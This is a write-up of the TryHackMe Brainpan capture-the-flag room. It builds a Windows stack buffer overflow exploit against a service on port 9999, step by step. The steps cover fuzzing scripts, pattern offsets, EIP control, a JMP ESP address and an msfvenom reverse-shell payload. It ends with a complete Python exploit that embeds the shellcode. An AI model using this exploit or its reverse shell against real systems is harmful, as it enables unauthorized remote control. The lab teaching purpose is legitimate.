BrainPan-Tryhackme
Table of Contents
Exploiting a buffer overflow vulnerability by analyzing a Windows executable. #
Enumeration #
Perform a quick rustscan to view open ports.
Port our results to nmap.
Not much information but I tried opening them on my browser. Port 9999 gave nothing but 10000 opens up a website as shown below.
I bruteforced for some directories and found something interesting.
This directory contains an executable file which is the application running on port 9999.
Trying a netcat to port 9999. We get this password prompt.
Fuzzing #
We are working with a buffer overflow, so let us trying crashing the application running on port 9999
We indeed get a crashing confirming existence of a buffer overflow.
Download the executable file and transfer it to your Windows VM. We will work with Immunity debugger.
Run the application and try connecting to it using our VM’s IP.
We can test the connection using netcat. We get the connection back. Everything set up, let’s get hacking :)
Step 1: Finding the size of the crash #
We need to find the approximate number of bytes that crashed our application. Attach it to immunity debugger and we can write a python script to send some bytes to the application till it crashes.
import socket
IP = "192.168.100.85"
PORT = 9999
s = socket.socket()
s.connect((IP,PORT))
buffer = [
b"A"*100
]
buffer = b"".join(buffer)
while True:
s.send(buffer)
buffer = buffer + b"A"*100
Head over to immunity debugger and see that our application crashed
To calculate the size of the crash, right click on esp , follow in dump. Check the address where the As start and end
We get 2072. We will use this as the default length of bytes.
Modify our script as follows.
import socket
IP = "192.168.100.85"
PORT = 9999
s = socket.socket()
s.connect((IP,PORT))
total_length = 2072
buffer = [
b"A"*total_length
]
buffer = b"".join(buffer)
s.send(buffer)
Step 2: Finding the offset #
Next we need to find out the exact number of bytes within the total_length that actually cause the crash. We use msf pattern create and pattern offset.
/usr/bin/msf-pattern_create -l 2072
Copy the result and modify our script as follows
import socket
IP = "192.168.100.85"
PORT = 9999
s = socket.socket()
s.connect((IP,PORT))
total_length = 2072
buffer = [
b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr"
]
buffer = b"".join(buffer)
s.send(buffer)
Run the script and note the value of the EIP
/usr/bin/msf-pattern_offset -l 2072 -q 35724134
[*] Exact match at offset 524
We get our offset at 524. This means we have exactly 524 bytes before we reach the EIP register
Step 3: Controlling the EIP #
We modify our script as follows and observe the EIP register
import socket
IP = "192.168.100.85"
PORT = 9999
s = socket.socket()
s.connect((IP,PORT))
total_length = 2072
offset = 524
buffer = [
b"A" * offset,
b"B" * 4
]
buffer = b"".join(buffer)
s.send(buffer)
We try controlling the EIP with 4Bs and get the ascii value for B as 42424242 on the EIP register.
We have control over the EIP.
Step 4: Finding the bad characters #
We need to determine the characters that brainpan does not like. This will help us create our payload without the bad characters.
I like to use the struct inbuilt module with list comprehension. Modify your script as follows and send the bad characters.
import socket
from struct import pack
bad_chars = b"".join([pack("<B",x) for x in range(1,256)])
IP = "192.168.100.85"
PORT = 9999
s = socket.socket()
s.connect((IP,PORT))
total_length = 2072
offset = 524
buffer = [
bad_chars,
b"A" * (total_length - len(bad_chars)),
]
buffer = b"".join(buffer)
s.send(buffer)
We can observe the characters in the hex dump and see if we get any bad ones. Luckily for us there are no bad characters here.
Step 5: Finding a JMP ESP instruction #
We need to find a JMP ESP instruction that will take us to the top of the stack. We will use this JMP ESP as the new EIP so that we hijack the control flow of the program.
We can use the mona module
!mona jmp -r esp
We get an address that points to a jmp esp instruction 0x311712F3
Set a breakpoint at that instruction. Ctrl+G , enter the address value then press enter and set breakpoint.
Modify our script as follows and observe that we hit the breakpoint,
import socket
from struct import pack
bad_chars = b"".join([pack("<B",x) for x in range(1,256)])
IP = "192.168.100.85"
PORT = 9999
s = socket.socket()
s.connect((IP,PORT))
total_length = 2072
offset = 524
new_eip = pack("<I",0x311712F3)
buffer = [
b"A" * offset,
new_eip,
b"C" * (total_length-offset)
]
buffer = b"".join(buffer)
s.send(buffer)
step through the code using f7 and observe how we get redirected to the top of the stack
Step 6: Generating shellcode #
Now we can generate shellcode to get a reverse shell on our program
msfvenom -p windows/shell_reverse_tcp LHOST=wlan0 LPORT=4444 -e x86/shikata_ga_nai -f py -b "\x00"
Modify our script and send the payload while listening on port 4444
Sweet :) Our exploit worked. Now recreate the shellcode but with tun0 for tryhackme local IP. Change the IP in the script to the remote IP
import socket
from struct import pack
# bad_chars = b"".join([pack("<B",x) for x in range(1,256)])
IP = "10.10.255.160"
PORT = 9999
buf = b""
buf += b"\xdb\xd4\xba\x70\xb3\xd8\x55\xd9\x74\x24\xf4\x5b\x29"
buf += b"\xc9\xb1\x52\x83\xc3\x04\x31\x53\x13\x03\x23\xa0\x3a"
buf += b"\xa0\x3f\x2e\x38\x4b\xbf\xaf\x5d\xc5\x5a\x9e\x5d\xb1"
buf += b"\x2f\xb1\x6d\xb1\x7d\x3e\x05\x97\x95\xb5\x6b\x30\x9a"
buf += b"\x7e\xc1\x66\x95\x7f\x7a\x5a\xb4\x03\x81\x8f\x16\x3d"
buf += b"\x4a\xc2\x57\x7a\xb7\x2f\x05\xd3\xb3\x82\xb9\x50\x89"
buf += b"\x1e\x32\x2a\x1f\x27\xa7\xfb\x1e\x06\x76\x77\x79\x88"
buf += b"\x79\x54\xf1\x81\x61\xb9\x3c\x5b\x1a\x09\xca\x5a\xca"
buf += b"\x43\x33\xf0\x33\x6c\xc6\x08\x74\x4b\x39\x7f\x8c\xaf"
buf += b"\xc4\x78\x4b\xcd\x12\x0c\x4f\x75\xd0\xb6\xab\x87\x35"
buf += b"\x20\x38\x8b\xf2\x26\x66\x88\x05\xea\x1d\xb4\x8e\x0d"
buf += b"\xf1\x3c\xd4\x29\xd5\x65\x8e\x50\x4c\xc0\x61\x6c\x8e"
buf += b"\xab\xde\xc8\xc5\x46\x0a\x61\x84\x0e\xff\x48\x36\xcf"
buf += b"\x97\xdb\x45\xfd\x38\x70\xc1\x4d\xb0\x5e\x16\xb1\xeb"
buf += b"\x27\x88\x4c\x14\x58\x81\x8a\x40\x08\xb9\x3b\xe9\xc3"
buf += b"\x39\xc3\x3c\x43\x69\x6b\xef\x24\xd9\xcb\x5f\xcd\x33"
buf += b"\xc4\x80\xed\x3c\x0e\xa9\x84\xc7\xd9\xdc\x5a\xee\xb8"
buf += b"\x89\x58\xf0\xab\x15\xd4\x16\xa1\xb5\xb0\x81\x5e\x2f"
buf += b"\x99\x59\xfe\xb0\x37\x24\xc0\x3b\xb4\xd9\x8f\xcb\xb1"
buf += b"\xc9\x78\x3c\x8c\xb3\x2f\x43\x3a\xdb\xac\xd6\xa1\x1b"
buf += b"\xba\xca\x7d\x4c\xeb\x3d\x74\x18\x01\x67\x2e\x3e\xd8"
buf += b"\xf1\x09\xfa\x07\xc2\x94\x03\xc5\x7e\xb3\x13\x13\x7e"
buf += b"\xff\x47\xcb\x29\xa9\x31\xad\x83\x1b\xeb\x67\x7f\xf2"
buf += b"\x7b\xf1\xb3\xc5\xfd\xfe\x99\xb3\xe1\x4f\x74\x82\x1e"
buf += b"\x7f\x10\x02\x67\x9d\x80\xed\xb2\x25\xb0\xa7\x9e\x0c"
buf += b"\x59\x6e\x4b\x0d\x04\x91\xa6\x52\x31\x12\x42\x2b\xc6"
buf += b"\x0a\x27\x2e\x82\x8c\xd4\x42\x9b\x78\xda\xf1\x9c\xa8"
shellcode = buf
s = socket.socket()
s.connect((IP,PORT))
s.recv(1024)
total_length = 2072
offset = 524
nop_sled = b"\x90"*16
new_eip = pack("<I",0x311712F3)
buffer = [
b"A" * offset,
new_eip,
nop_sled,
shellcode,
b"C" * (total_length-offset-len(shellcode)-len(nop_sled)-len(shellcode))
]
buffer = b"".join(buffer)
s.send(buffer)
We get a shell :)
Happy hacking :)